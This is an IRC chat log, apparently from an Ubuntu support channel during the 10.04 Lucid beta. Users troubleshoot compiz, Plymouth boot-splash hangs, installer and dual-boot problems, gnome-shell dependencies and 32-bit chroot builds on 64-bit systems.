[04:51] <DanaG> I'd like to make a sheet of paper jump into the face of whoever decided to make that feature... any time he tries to play or pause music.
[04:52] <DanaG> No, how about a whole book?
[04:52] <DanaG> And then make it turn pages when he skips tracks.
[04:54] <haz3lnut> stal, command field says "/usr/bin/compiz-decorator"
[04:54] <haz3lnut> but that's not really the issue.  compiz works, but only if I enable it after boot.
[04:55] <haz3lnut> window manager is not auto starting.
[04:55] <stal> haz3lnut: oh
[04:55] <stal> wait a sec
[04:55] <stal> haz3lnut: alt-f2 and type gconf-editor
[04:56] <haz3lnut> yassir
[04:57] <stal> now open /desktop/gnome/applications/window_manager in gconf-editor
[04:57] <haz3lnut> all read <no value>  hmmm
[04:57] <stal> both "current" and "default" should be /usr/bin/compiz
[04:58] <dartdog> been trying to install 10.04 all day and now part of night.. Seems that I may have put too large of a (new) disk in my older Gateway Laptop I get the system running then go to update using the system update and I cannot restart after  and it just hangs,,, no error
[04:58] <stal> so put those in
[04:58] <haz3lnut> they are set as integer fields, guess I should change to string.
[04:59] <stal> haz3lnut: yep
[04:59] <haz3lnut> question is, why did that get whacked?
[05:00] <stal> haz3lnut: you mentioned something about deleting your gconfs
[05:00] <stal> there's your cause
[05:00] <haz3lnut> stal, yep, because it was whacked.  no compiz or metcity loading on startup.
[05:01] <haz3lnut> I need to restart to check if it's fixed.
[05:01] <haz3lnut> brb
[05:04] <Babalabon> s0 what is all the hype about ubuntu 10.4 lts, "change is coming" whats gonna be so good about it?
[05:05] <stal> Babalabon: light-themes
[05:05] <DanaG> oh yeah, I much prefer the old byobu ubuntu-logo thingy over the new one.
[05:05] <DanaG> old: \o/  (yay!)
[05:05] <DanaG> new: _U_
[05:06] <DanaG> underscores represent spaces.
[05:06] <darthanubis> Babalabon, http://www.ubuntu.com/testing/lucid/beta2
[05:13] <haz3lnut> stal, still multiple attempts at variations.  no window manager on startup.
[05:14] <stal> haz3lnut: i don't know what to say
[05:24] <ripps> Hmm... I wonder what's causing my swap partition to slowly fill up. Is there someway I can track if a memory leak is causing it?
[05:25] <Dr_Willis> Hmm. Somehow I managed to get KDM on alt-ctrl-f1 and the Lubuntu LXDM on alt-ctrl-f7
[05:26] <Dr_Willis> memo to self - dont try installing lubuntu-desktop alongside gnome/kde any more. ;)
[05:29] <xiambax> Lubuntu?
[05:29] <Dr_Willis> Yep lxde desktop.
[05:30] <Dr_Willis> Nice in some ways.. but how it fits in if you have gnome/kde also installed.. is a BIG bunch of annoyances
[05:32] <xiambax> Oh. It looks like  xubuntu
[05:32] <Dr_Willis> actually its using lxde not xfce
[05:32] <xiambax> I just use fluxbox if system resources are low
[05:32] <Dr_Willis> its using openbox + a few extra tools
[05:32] <xiambax> but all my systems have atleast 2.0 ghz and two gigs of ram
[05:32] <xiambax> So im like meh
[05:33] <Dr_Willis> Yep. I was trying it on my netbook.
[05:33] <xiambax> Ah
[05:33] <xiambax> Netboot remix?
[05:33] <Dr_Willis> since it has a netbook-edition also.. wich as far as i could tell.. dosent work very well.
[05:33] <xiambax> I installed netboot remix on a hdtv the other day
[05:33] <xiambax> it worked awesome
[05:33] <Dr_Willis> the UNR works very well on my AAO.
[05:34] <Dr_Willis> KDE's netbook interface is also very nice in ways.
[05:34] <xiambax> never seen it
[05:35] <xiambax> I havent touched kde since redhat 6?
[05:35] <Dr_Willis> kde 4.4 has some very nice features
[05:35] <xiambax> oh my
[05:35] <xiambax> redhat 6 came out in 1999
[05:36] <xiambax> im so old!
[05:36] <Dr_Willis> I recall useing that.
[05:36] <Dr_Willis> I used to irc on 'green bar printing' terminals :)
[05:36] <xiambax> Im only 23 though
[05:37] <ddecator> pft, that's not old
[05:37] <xiambax> Old ballz old
[05:37] <xiambax> Haha
[05:37] <xiambax> It is when i recall spending the past 11 years in front of a computer
[05:38] <Dr_Willis> I got computers older then 23
[05:38] <xiambax> Haha. Yeah. I have computers older then me aswell
[05:39] <xiambax> my woz edition apple 2ci
[05:39] <xiambax> and my old XT
[05:39] <droid> alright, anyone else not able to graB headers correctly when doing apt-get update?
[05:40] <shapeshifta> hello guys, I am wondering if anyone has a hauppauge hvr 2250 working with mythtv, me-tv, totem, etc.?
[05:41] <ddecator> that's pretty specific, haha
[05:41] <xiambax> Yeah. Works for me
[05:41] <shapeshifta> ddecator: well mythv picked up the card
[05:41] <xiambax> cant get glx to take though
[05:42] <shapeshifta> but me-tv doesnt see it, and totem  i can't quite figure out
[05:42] <Dr_Willis> i have to wonder if its an issue of the card not seen.working,, or a  'tv tuner apps/tools are  a pain to figure out'  issue.
[05:43] <Dr_Willis> Took me a while ages ago to get my first tv card working in Mythbuntu
[05:43] <Dr_Willis> Mythtv setup dident select somthing properly by default in one of the settings
[05:43] <shapeshifta> Dr_Willis: it working, i don't know why me-tv doesnt see it
[05:43] <Dr_Willis> the #mythbuntu guys are proberly the experts on the tv cards. I dont even have cable any more. :) so no tv card for me.
[05:43] <shapeshifta> i just want to test out me-tv and totem
[05:44] <Dr_Willis> I dident een relize totem could do tv tuner cards
[05:44] <shapeshifta> Dr_Willis: im using it with an atenna
[05:44] <xiambax> http://www.facebook.com/photo.php?pid=11237322&l=5acad87a0c&id=659470103
[05:44] <shapeshifta> antenna
[05:44] <xiambax> my netbook remix running on a hdtv
[05:44] <Dr_Willis> yea - my old card - was befor they had HD tv/signals. its old analog.
[05:44] <gartral> i cant grab headers after downloading updated lists <never really knew what they were called>
[05:44] <shapeshifta> Dr_Willis: yea it can, it pop up a second app to scan channels, but only once
[05:45] <shapeshifta> i guess ill give mythbuntu chan a try
[06:02] <dm_> Has anyone else had their scrolling on their touchpad (laptop) stop working? I havent been able to find a bug on it, just curious before i look further into it
[06:04] <Dr_Willis> Checking my netbook...
[06:06] <Dr_Willis> working here.. but ive not updated the netbook in a few hrs.
[06:06] <ddecator> dm_: not on ubuntu...circular scrolling always switches off after i come back from being suspended, but never no scrolling at all
[06:06]  * ddecator had that a lot with windows though
[06:07] <Dr_Willis> Ive not tried hibernate/suspend in ages. -  lately i just close the lid on the netbook and it totally hangs..
[06:07] <Dr_Willis> so ive got all that disabled
[06:13] <DanaG> That's probably gnome-settings-daemon forcibly trampling on touchpad settings that were set elsewhere.
[06:16] <darthanubis> is plymouth working for nvidia users of the nvidia-current driver?
[06:17] <ddecator> darthanubis: yes
[06:17] <Dr_Willis> I disabled it.. so im not sure. :)
[06:17] <Dr_Willis> My nvidia systems are booting...
[06:17] <ddecator> still doesn't look very good, but it works for me
[06:17] <darthanubis> ddecator, which graphics card?
[06:17] <darthanubis> I don't see anything upon boot
[06:17] <Dr_Willis> ive noticved it will look good for a day or so.. then start looking all crappy..
[06:17] <Dr_Willis> then vanish for a day..
[06:17] <darthanubis> just some colors across the top of the screen
[06:17] <darthanubis> but nothing I can mak out
[06:18] <ddecator> darthanubis: nVidia Corporation G86 [GeForce 8400M GS]
[06:18] <Dr_Willis> I think the art people need to stop using so many dithered/gradiants.. they really show up badly at times.
[06:18] <ddecator> mine is a resolution issue
[06:18] <Dr_Willis> I think ive noticed the res being lower at shutdown also.
[06:18] <ddecator> oddly, it looks fine when i boot my server (why does a server need plymouth?) which is an old desktop, but looks terrible on my new-ish laptop
[06:19] <Blue11> !plymouth | blue11
[06:19] <Blue11> for us uneducated types - what is plymouth?
[06:19] <ddecator> Blue11: the lucid boot splash
[06:20] <ddecator> the purple screen that says ubuntu and has the changing dots during boot
[06:20] <Blue11> ddecator: i'll have to see if there's some documentation - thanks
[06:20] <ddecator> Blue11: np
[06:20] <DanaG> NetworkManager: <WARN>  wireless_get_range(): (wlan0): couldn't get driver range information (95).
[06:20] <DanaG> NetworkManager: <WARN>  constructor(): (wlan0): Device unsupported, ignoring.
[06:20] <DanaG> Grr, stupid NetworkManager!
[06:21] <Blue11> ddecator: one last question - is plymouth unique to ubuntu, or?
[06:21] <ddecator> Blue11: no, fedora uses it
[06:21] <Blue11> ddecator: thanks that will make it easier to find docs
[06:21] <Dr_Willis> Fedora has been using it for some time now right?
[06:21] <ddecator> i think so
[06:21]  * ddecator has never used fedora
[06:22] <ddecator> they have it actually working >.>
[06:23] <ddecator> heh, everytime i start talking on here it turns into a plymouth discussion..
[06:23] <DanaG> Plymouth "works" for me... but refuses (yes, actively refuses) to show me a splash screen.
[06:23] <Dr_Willis> Such a lovely tool.
[06:23] <ddecator> yah, i'm skeptical it will work well on release..
[06:23] <DanaG> http://users.csc.calpoly.edu/~dgoyette/no_splash_for_you.log
[06:23] <DanaG> Nice job, Plymouth.
[06:24] <Dr_Willis> Im betting we will have a delay  on release due to plymouth :)
[06:24] <Blue11> ddecator: found this:  http://www.thelinuxdaily.com/2008/11/how-to-enable-graphical-boot-with-plymouth-fedora-tip/
[06:24] <Dr_Willis> You cant even uninstall it - last i tried...
[06:24] <Blue11> hmm maybe Ill leave well enough alone
[06:24] <ddecator> there is a way you can. people had to when there was the nasty "hit <enter> and logout" bug
[06:25] <ddecator> i don't even think delaying the release would be enough =p
[06:25] <Dr_Willis> Yep. Sort of the feature they proberly shouldent of tried to put into a LTS...
[06:25] <Blue11> i think I'll not touch it then -- I wonder what the status of compiz is?
[06:25] <ddecator> compiz work fine for me
[06:26] <Dr_Willis> compiz is working here also
[06:26] <Blue11> i wil try re-enabling and see what happens
[06:27] <Blue11> nope didn't work
[06:27] <Blue11> right back to metacity
[06:28]  * DanaG slaps plymouth with a serial cable
[06:28] <ddecator> well i use compiz with metacity...are you trying to get emerald to work?
[06:28] <DanaG> compiz with metacity?  that's like saying you use milk with lemonade.
[06:29] <Blue11> ddecator: no, I am just trying to enable compiz via System/Preferences/Appearance/Visual effects
[06:29] <DanaG> or like saying you use a Ford with Chevi.
[06:29] <DanaG> er
[06:29] <DanaG> Chevy.
[06:29] <ddecator> Blue11: try CCSM
[06:29] <ddecator> DanaG: what's wrong with metacity? =p
[06:29] <Blue11> let me see if that's installed
[06:29] <DanaG> Nothing wrong with metacity.
[06:29] <DanaG> But:
[06:29] <DanaG> "i use compiz with metacity" makes no sense.
[06:30] <ddecator> i use compiz for the effects and to make my workflow more productive. i don't need it to decorate my windows for me
[06:30] <DanaG> ah, then you use compiz with gtk-window-decorator.
[06:30] <ddecator> sure
[06:30] <Blue11> i hate it when spelling counts
[06:30] <DanaG> or with "metacity themes"
[06:30] <ddecator> exactly
[06:30] <DanaG>  * Starting Network connection manager wicd
[06:30] <DanaG>    ...fail!
[06:31] <DanaG> yes, it literally said that.
[06:31] <ddecator> yah i've seen that before, haha
[06:31] <ddecator> it's red and everything =p
[06:31] <DanaG> Nope, wasn't red... and it was on the left.
[06:31] <DanaG> Normally it should be ....               [fail]
[06:31] <ddecator> ah, yah, that's what i was thinking of
[06:32] <Blue11> ddecator: pardon my dumbness - but I have ccsm installed, now what?
[06:33] <ddecator> Blue11: System > Preferences > CompizConfig Settings Manager
[06:33] <ddecator> Blue11: use that to set some animations and such and see if that works
[06:33] <Blue11> ddecator: yeah I am there but what do I do when I am there.
[06:33] <jatoo> hello, i'm trying to install ubutnu 10.04, but it get's stuck at the purple ubuntu screen with the 5 red/white dots indefinitely, can anyone help?
[06:34] <ddecator> Blue11: try going to Animations and setting some for windows actions. or try enabling the Desktop cube
[06:34] <ddecator> jatoo: plymouth..
[06:34] <ddecator> grrrrrr
[06:34] <ddecator> how is this going to be stable enough for an LTS? -_-
[06:34] <jatoo> ddecator: sorry? what's plymouth
[06:34] <Dr_Willis> Yep - i imagine there will be a #ubuntu-plymouth channel :)
[06:35] <ddecator> jatoo: that's the screen you're getting stuck at. does it say it's checking your disks for defects?
[06:35] <ddecator> er, error
[06:35] <Dr_Willis> it gives you a pretty login 'experience'
[06:35] <ddecator> errors*
[06:35] <Blue11> ddecator: i set some animations but it keeps going back to metacity...
[06:35] <jatoo> ah, doesn't say anything, just has those dots cycling red, white
[06:35] <DanaG> wlan0     Interface doesn't support scanning.
[06:35] <ddecator> Blue11: are you trying to change the windows decorations? (i.e., the appearance of the title bar that has the buttons)
[06:35] <DanaG> nice job, kernel.
[06:36] <ddecator> jatoo: hm, then idk. i have it say that it's checking for errors and then freeze, but pressing C solves that
[06:36] <Blue11> ddecator: no - just took what was there - it's all stock -- I do have this card (pretty old) 01:00.0 VGA compatible controller: ATI Technologies Inc Radeon RV100 QY [Radeon 7000/VE]
[06:36] <Blue11>  
[06:36] <Blue11> ddecator: I am using the generic drivers whatever comes with ubuntu
[06:36] <ddecator> Blue11: then by "back to metacity" what do you mean exactly?
[06:37] <jatoo> ddecator: it's not actually freezing, the dots keep cycling, but doesn't go anywhere...
[06:37] <ddecator> jatoo: is your HDD doing anything when it does that?
[06:37] <Blue11> ddecator: when I enable visual effects, and click on keep settings -- when I go back, it's set to no effects
[06:37] <Ken8521> how come you can't get in a public chat room w/ skype and ubuntu.
[06:38] <Blue11> ddecator: compiz works fine on my 9.10 system
[06:39] <jatoo> ddecator: hmmm it is at the moment but i just restarted it, i'll let it go for a while and see
[06:39] <ddecator> Blue11: ah, someone else had that too, but i think that was with intel...i'm guessing you have 'xserver-xorg-video-ati' installed?
[06:39] <Blue11> but that's an nvidia card, and this is an ati card -- still compiz DID work on SuSE with this setup
[06:39] <Blue11> ddecator: how do I tell?
[06:39] <ddecator> Blue11: can you check in synaptic?
[06:39] <Blue11> sure I just did a dpkg and got -- ii  xserver-xorg-video-ati                            1:6.13.0-1ubuntu5                               X.Org X server -- AMD/ATI display driver wrapper
[06:40] <ddecator> so it's installed...
[06:40] <ddecator> idk if there is a proprietary driver for ati
[06:40] <ddecator> anyone else here with ati?
[06:41] <DanaG> stupid plymouth....
[06:41] <DanaG> mountall: Plymouth command failed
[06:41] <Blue11> yeah it's installed checked in synaptic
[06:41] <DanaG> looping so fast on my beagleboard that it's using 100% cpu on the HOST SYSTEM's serial console!
[06:41] <Blue11> DanaG: owch!
[06:42] <Blue11> new idle task?
[06:42] <ddecator> i *really* hope the plymouth devs know what they need to do to get everything working for the release..
[06:43] <Blue11> oh I found a "performance" enhancement for thunderbird:  http://pkill-9.com/wordpress/?p=250
[06:44] <SwedeMike> I was quite surprised at how much new stuff went into 10.04 considering it's LTS. Plymouth being one of them.
[06:45] <DanaG> I don't think highly of plymouth right now.
[06:45] <ddecator> few people do..
[06:45] <Blue11> DanaG: thanks for being the guinea pig!
[06:46] <DanaG> In my case, it "works" fine... but doesn't do anything visible.
[06:46] <DanaG> Apparently they think people who want a serial console IN ADDITION TO local display... can't possibly want a splash screen.
[06:46] <Blue11> DanaG: it's like homer saying: "It was delicious and not filling at all"
[06:47] <ddecator> i thought they wanted plymouth for a more "interactive" boot splash, but this one isn't very different from xsplash appearance-wise, and xsplash worked...and was faster for me
[06:49] <itdock> hello my friends :)
[06:49] <Dr_Willis> xplash was just a splash. it did not start up befor/during the normal boot process i thouight
[06:50] <Dr_Willis> dident it used to be    GRUB -> kernel -> usplash -> xsplash -> gdm -> xsplash -> desktop
[06:50] <Dr_Willis> now its more like (i think)
[06:50] <SwedeMike> I prefer less eyecandy and more "working"
[06:50] <Dr_Willis>    GRUB -> kernel ->  plymnouth (thats using x?) > gdm -> desktop
[06:50] <jatoo> ddecator: been going for 10 minutes now, and the dots are still changing, hdd light is still on - how long should it be taking?
[06:50] <ddecator> Dr_Willis: maybe, but it still takes longer with plymouth on my system..
[06:51] <DanaG> On my netbook, plymouth works fine.  It's just the one with serial console that doesn't work.
[06:51] <ddecator> jatoo: uh, depending on the system, a couple minutes..
[06:51] <jatoo> hmm yeah...
[06:51] <jatoo> something's up then i guess
[06:51] <ddecator> and it definitely doesn't say anything about doing a filesystem check?
[06:52] <jatoo> no text other than the ubuntu logo
[06:52] <jatoo> is there a way i can switch to a terminal or something? some kind of output?
[06:52] <ddecator> hm, does adding -no-splash to the end of the boot command disable plymouth i wonder?
[06:52] <jatoo> oh, i'm booting from the installation cd
[06:53] <ddecator> oh?
[06:53] <jatoo> yeah, trying to install it...
[06:53] <ddecator> so are you booting into a live session?
[06:53] <ddecator> btw, hey itdock
[06:53] <jatoo> well i don't know, it hasn't given me any options yet, just went from that first ubuntu splash to this one with the cycling dots
[06:54] <itdock> hey o.o
[06:54] <ddecator> jatoo: so you never got a menu giving you the option to install or to run a live session?
[06:54] <jatoo> nope
[06:54] <ddecator> o.o
[06:54] <itdock> lol
[06:54] <DanaG> I also think the cycling dots look stupid.
[06:54] <ddecator> did you do an md5sum of the disk?
[06:55] <DanaG> If you interpret it as a progress bar... it loops from 0% to 100% and back again!
[06:55] <Dr_Willis> dots that dont really say uh of anything
[06:55] <jatoo> no... i suppose i should do that
[06:55] <Dr_Willis> DanaG:  yep exactly
[06:55] <DanaG> And it does that both on bootup and shutdown.
[06:55] <ddecator> jatoo: doesn't hurt =)
[06:55] <Dr_Willis> Gotta love progress bars that dont really show progress
[06:55] <DanaG> It's like a deranged progress bar.
[06:55] <jatoo> yeah
[06:55] <Dr_Willis> ive seen similer things on way to many other apps as well
[06:55] <ddecator> xsplash did that too..
[06:55] <DanaG> If you aren't going to show progress.. then you'd better damn well not look like a progress bar!
[06:55] <ddecator> i think it's supposed to make the boot seem quicker
[06:56] <Dr_Willis> i edited my xplash to show  a ...err.. wait this is a faimly channel.. :)
[06:56] <DanaG> Take the XP scrolly thing... it doesn't scream "I AM A PROGRESS BAR".
[06:56] <jatoo> ddecator: i tried to upgrade from 9.10 and it destroyed my system... windows 7 won't boot now do you have any idea of how i could save my windows installation?
[06:56] <vish> hehe DanaG ;p
[06:56] <lucian> doesn't show any progress bars for drive checks either, just some generic dot cycling too
[06:56] <DanaG> I don't mind non-showing of progress... but don't make a deranged "progress bar".
[06:56] <ddecator> jatoo: boot into a live cd, see if you can mount the windows partition
[06:56] <DanaG> That's just bad.
[06:56] <DanaG> Even Gnome's own human interface guidelines tell you not to do that.
[06:57] <DanaG> The old usplash bouncing thingy was perfect.
[06:57] <ddecator> a rotating ubuntu logo would be nicer =)
[06:57] <DanaG> Too graphics-intensive, that would be.
[06:57] <ddecator> k yoda
[06:58] <jatoo> ddecator: yep, i've got 9.10 back on there now and all partitions are fine, from grub when i try to boot windows it juts restarts the computer and goes back to grub. i've tried changing the partition selected in the grub command, but no difference...
[06:58] <DanaG> erm.
[06:58] <ddecator> jatoo: and you can mount the windows partition in ubuntu?
[06:58] <DanaG> https://bugs.launchpad.net/ubuntu/+source/kubuntu-default-settings/+bug/553386
[06:58] <DanaG> see my comment on here, and the linked forum post.
[06:58] <jatoo> ddecator: yep
[06:59] <martiner> Hello, is there anyone who has any information of when the MSN server change will be "fixed" so audio calls will work once again in the chatclients (emesene, empathy, amsn and so on)?
[06:59] <ddecator> jatoo: that's odd...not sure how you would resolve that to be honest o.o
[06:59] <jatoo> yeah :(
[06:59] <ddecator> i'm sure there is a way though
[06:59] <ddecator> i'm just not familiar with grub
[06:59] <ddecator> or booting, haha
[06:59] <jatoo> i tried reinstalling 9.10 and tried doing a windows recovery...
[06:59] <jatoo> if i could just get win7 bootable again i'd be happy
[07:00] <Dr_Willis> boot win7 cd and try fixing the bootloader of windows first...
[07:00] <Dr_Willis> then try getting grub2 back on
[07:00] <jatoo> Dr_Willis: tried doing that, windows cd thinks the installation is fine
[07:00] <Dr_Willis> you had windows remove grub then?
[07:01] <Dr_Willis> and uswed the windows bootloader?
[07:01] <bicchi> Could anyone tell me what is the name of the default theme that Lucid uses? Appearance Preferences -> Theme
[07:01] <Dr_Willis> bicchi:  radience i think
[07:01] <ddecator> radiance or ambiance
[07:01] <Dr_Willis> 'song-and-dance' :)
[07:01] <ddecator> whichever the dark one is
[07:01] <jatoo> Dr_Willis, no i just tried to do the restore for an unbootable windows thing from the windows cd - how can i get windows to remove grub?
[07:01] <om26er> the latest git version of gnome shell brings window controls to the right, I say what the?
[07:02] <Dr_Willis> jatoo:  no idea on win7 - ms changes it every time they come out with a new vesion
[07:02] <Dr_Willis> In the Uubntu netbook  version. the 'close' button is basically in the middle of the titlebar/top panel :)
[07:03] <ddecator> with gnome shell?
[07:03] <Dr_Willis> is gnome-shell actaually installable now? last few weeks its been broken
[07:04] <ddecator> idk, i haven't tried it in months. last time i tried i had trouble switching back, so i've avoided it, haha
[07:04] <Dr_Willis> ddecator:  yep - lubuntu seems to cause more problems then its worth also
[07:04] <Dr_Willis> The whole use of 'whatever-desktop' meta packages - is getting rather .... cluttered and problematic
[07:05] <ddecator> well lubuntu is still early in development
[07:05] <ddecator> not even an official *buntu flavor yet
[07:05] <Dr_Willis> I thoguht i saw some tool that monitors installs of various packages.. to make removing them easier.. but i cant rember what/where i saw it at
[07:06] <Dr_Willis> gnome and kde aso have issues where they step on each others toes a lot. :)
[07:06] <om26er> previously shell did not move the buttons to the right. I think they did that opposed to ubuntu. /me can bet on that
[07:06] <Dr_Willis> toss in xubuntu and it gets even worse
[07:06] <om26er> after all they are redhat guys ;-) (most)
[07:06] <ddecator> Dr_Willis: well typically people use one and stick with it, maybe just borrowing apps from the others =p
[07:07] <ddecator> om26er: maybe, or it could be like we had for a bit and a package accidently caused it to change
[07:07] <Dr_Willis> ddecator:  actually i find (around here) that the kids want one.. mom wants a differnt one.. and i use the others. :)
[07:07] <Dr_Willis> The netbook interface is gaining popularity.
[07:07] <ddecator> ah, multi-user comps...yah i guess that's true, i'm used to it just being me on here =p
[07:08] <om26er> for maverik they are revamping the netbook interface. what can be expected. no panels?
[07:08] <ddecator> the whole "which *dm should win" thing is annoying..
[07:09] <ddecator> om26er: they are?
[07:09] <om26er> ddecator, sabdfl said that when he announced maverik
[07:09] <Dr_Willis> just now on the netbook.. i had KDM on console 1.. and lxdm on console 6
[07:10] <Dr_Willis> xdm/kdm/gdm/lxdm/others?
[07:10] <Dr_Willis>  the login screen tools.
[07:10] <Dr_Willis> THEN ya got issues with using gdm to start kde, or kdm to start gnome,, or lxdm starting anytying ..
[07:10] <ddecator> om26er: heh, never read all of that =p
[07:10] <jatoo> i did the md5sum on my cd, it said one file couldn't be read but all others passed...
[07:10] <om26er> "We have a continued interest in netbooks, and we’ll revamp the Ubuntu Netbook Edition user interface"
[07:10] <ddecator> huh, nice
[07:11] <ddecator> jatoo: did the output numbers match the ones given on the site?
[07:12] <jatoo> ah well i did it for the downloaded iso and the thing matched, the cd was an automatic thing where it compared it to its own list
[07:12] <ddecator> oh. any idea what file it couldn't read?
[07:12] <jatoo> ./casper/filesystem.squashfs
[07:13] <jatoo> could that be a problem?
[07:13] <ddecator> no idea what it does, but 'filesystem' in there makes me think it's important, heh
[07:13] <ddecator> if that's used during boot, that could potentially be the problem..
[07:14] <jatoo> yeah
[07:14] <jatoo> i'll burn another copy
[07:14] <ddecator> if you have extra CDs lying around, you can burn another using the slowest speed
[07:14] <jatoo> ok
[07:16] <Dr_Willis> i alwyas seem to make bootable flah drives these days. i got one pc that dont like some of them however.
[07:16] <ddecator> not all comps can boot from USB though
[07:16] <ddecator> it's a nice option if they can
[07:17] <jatoo> how do you create them? brasero?
[07:17] <ddecator> System > Administration > Startup Disk Creator
[07:17] <jatoo> k
[07:18] <ddecator> you might have to adjust the BIOS on the computer you'll boot on though. some don't have USB checked before the local drive
[07:19] <ddecator> heck, the desktop i used to make a server didn't even have the CD-ROM checked before the local drives
[07:19] <Peddy> what's the state of multiple wallpapers in Lucid? Still broken?
[07:20] <ddecator> on multiple screens or multiple wallpapers that transition on one screen?
[07:22] <Dr_Willis> Hmm.. converted a lot of videos for my portable player.. and  it included the subtitles.. now annoying
[07:23] <Dr_Willis> My little netbook just has a hard time playing someof these hd mkvs and so forth got to convert them :(
[07:29] <Peddy> ddecator, multiple wallpapers.
[07:29] <Peddy> ddecator, multiple wallpapers for different workspaces
[07:29] <ddecator> ah
[07:30] <ddecator> no idea. idk how you set that up even when it is working, heh
[07:41] <Dr_Willis> Hmm - i really cant figure out handbrake.. or else its..  got issues.. :)
[07:41] <Dr_Willis> The start encoding button never gets activated
[07:44] <ddecator> worked for me before, but idk that i've used it since upgrading to lucid..
[07:48] <phani> ﻿Hi... I have just installed lucid lynx on vmplayer 3.0.1 and its successful.. however i can't use my keyboard to login ...any ideas what might be wrong ?
[07:51] <Dr_Willis> ive never used vmplayuer or vmwre lately.. so not really
[07:52] <lapion> grmbl.. blacklisting of i855,845 and 835 in latest kernel update
[08:03] <jatoo> burnt another disc and this one passed everything... now instead of cycling through the dots indefinitely it freezes with them all red... no cd or hdd activity
[08:03] <ddecator> heh, that's no better..
[08:03] <jatoo> yeah
[08:04] <lapion> is your video chipset an intel or radeon chipset ?
[08:04] <ddecator> did you burn the daily iso or the beta 2 iso?
[08:04] <jatoo> ah, i have an nvidia card - is that intel?
[08:04] <jatoo> beta 2 iso
[08:04] <Dr_Willis> Err.. nvidia card is nvidia...
[08:04] <ddecator> should work fine then..
[08:05] <lapion> I am having even worse problems with i915
[08:05] <Dr_Willis> I wonder if the alterantive installer cd has plymouth on it. :)
[08:05] <h00k> Dr_Willis: I don't think it does, no
[08:05] <jatoo> what is 'alternative'?
[08:06] <Dr_Willis> alteranive installer = the text based install cd with no live-desktop feature
[08:06] <Dr_Willis> good for problem machines
[08:06] <jbuncher> anyone having issues installing gnome-shell from the repositories?
[08:07] <Dr_Willis> its been uninstallable for the last few weeks jbuncher  - not sure if its been fixed yet or not
[08:07] <Dr_Willis> he following packages have unmet dependencies:
[08:07] <Dr_Willis>   gnome-shell: Depends: libgjs0 but it is not going to be installed
[08:07] <Dr_Willis> same issue for the last week+
[08:08] <jbuncher> looks like libgjs0 depends on an older version of xulrunner so it's causing issues
[08:08] <Dr_Willis> Yep. been that way for some time now
[08:09] <jbuncher> well dang
[08:12] <jbuncher> that is a bummer
[08:13] <Dr_Willis> yep - and they got like   a few weeks now to fix it. :)
[08:13] <Dr_Willis> clock is ticking
[08:25] <pa> hello
[08:26] <pa> perhaps its a bug? there is no partimage for ubuntu x64
[08:26] <pa> is it possible to force installation of a i386 package on a x64 ubuntu_
[08:26] <pa> ?
[08:26] <Dr_Willis> Hmm
[08:27] <Dr_Willis> proberly..but it may not work properly
[08:27] <Dr_Willis> !find partimage
[08:27] <Dr_Willis> !info partimage
[08:28] <Jordan_U> Yup, http://packages.ubuntu.com/lucid/partimage only has i386 for some reason
[08:28] <pa> maybe i can try to compile_
[08:29] <Dr_Willis> Yep. wonder why..  Ive no idea
[08:29] <pa> ?
[08:29] <ddecator> you can use getlibs to make 32-bit only software work on 64-bit, but it's usually buggy
[08:29] <Dr_Willis> could be it has 64bit compileing issues
[08:29] <Jordan_U> In karmic too
[08:29] <DanaG> getlibs is good for upgrading mesa 32-bit libs from xorg-edgers.
[08:29] <ddecator> i had to use getlibs when boxee was 32-bit only
[08:30] <LordKow> and schroot is a complete failure at completely mimicking 32-bit
[08:30] <LordKow> no way qt is ever going to compile.
[08:31] <joaopinto> schroot is quite good for having a complete 32bits environment
[08:32] <joaopinto> qt builds fine on a 32bits environment, just as anything else
[08:32] <ddecator> chroot is a pain to setup just to run a 32-bit app though..
[08:32] <joaopinto> ddecator, not for testing, it can be built with a single command, but I agree, it's not for the day to day use :)
[08:33] <ddecator> took me a couple hours to set it up for building 32-bit packages =p
[08:33] <joaopinto> ddecator, that's because you are not familiar with schroot_build.py :P
[08:34] <Jordan_U> ddecator: For just building you can use gcc-multilib
[08:34] <ddecator> joaopinto: i was following a wiki for how to set it up. the majority of the time was spent installing the necessary packages in the environment for building..
[08:34] <LordKow> joaopinto: well obviously its not complete enough because qt is mistaking this 32-bit schroot for 64-bit.
[08:35] <DanaG> hmm, try linux32?
[08:35] <LordKow> am.
[08:35] <DanaG> !info linux32
[08:35] <LordKow> lies
[08:35] <DanaG> bah.
[08:35] <LordKow> linux32 chroot or linux32 dchroot both result in the same issue
[08:36] <pa> im not so sure ubuntu amd64 is such a good idea
[08:36] <LordKow> "/usr/bin/ld: skipping incompatible /usr/lib/gcc/i486-linux-gnu/4.4.3/libstdc++.a when searching for -lstdc++" :-/
[08:36] <LordKow> i better check to make sure qt will compile with gcc 4.4
[08:37] <LordKow> wait, i know it will. i just compiled it 64-bit.
[08:37] <joaopinto> LordKow, that is because you don't know how to set it up properly
[08:37] <joaopinto> LordKow, you must specify personality=linux32 on your schroot config section
[08:38] <joaopinto> pa, why not ?
[08:38] <LordKow> [lucid]description=Ubuntu Lucid i386location=/var/chroot/lucid-i386priority=3users=dokogroups=sbuildroot-groups=rootpersonality=linux32aliases=dokochroot,default
[08:38] <joaopinto> there are rare cases for the need of closed source 32 bits binaries
[08:39] <LordKow> i followed https://wiki.ubuntu.com/DebootstrapChroot precisely as written.
[08:39] <joaopinto> LordKow, I can assure you that QT and any other libs builds fine on a properly configured chroot
[08:39] <pa> joaopinto, well for instance there are such packages not available for amd64
[08:40] <joaopinto> pa, there are no packages on the repositories which do not run on amd64
[08:40] <LordKow> this is not my first chroot. up until lucid i've never had issues compiling qt in a 32-bit chroot.
[08:40] <Jordan_U> joaopinto: Except apparently partimage.
[08:40] <pa> joaopinto, we just found one
[08:40] <joaopinto> LordKow, you must be missing something, if you want try my script: bzr branch lp:debfactory; sudo debfactory/bin/schroot_build.py
[08:41] <joaopinto> Jordan_U, uh, it's missing ?
[08:41] <Jordan_U> joaopinto: http://packages.ubuntu.com/karmic/partimage
[08:41] <LordKow> i'll create a new one from scratch and see if it makes a difference.
[08:41] <joaopinto> Jordan_U, ah :\, and it doesn't run with ia32-libs ?
[08:41] <joaopinto> Jordan_U, I guess no one care enough about it :P
[08:42] <Jordan_U> joaopinto: I don't know.
[08:42] <joaopinto> it should run with ia32libs
[08:42] <pa> zsnes is another one
[08:42] <joaopinto> those are exotic packages :P
[08:43] <pa> maybe.. but  i think ill stay i386 on my laptop : )
[08:44] <giantpune> hey guys.  ive just installed ubuntu 10.4 in vmware and im having a little issue.  maybe somebody knows the answer.
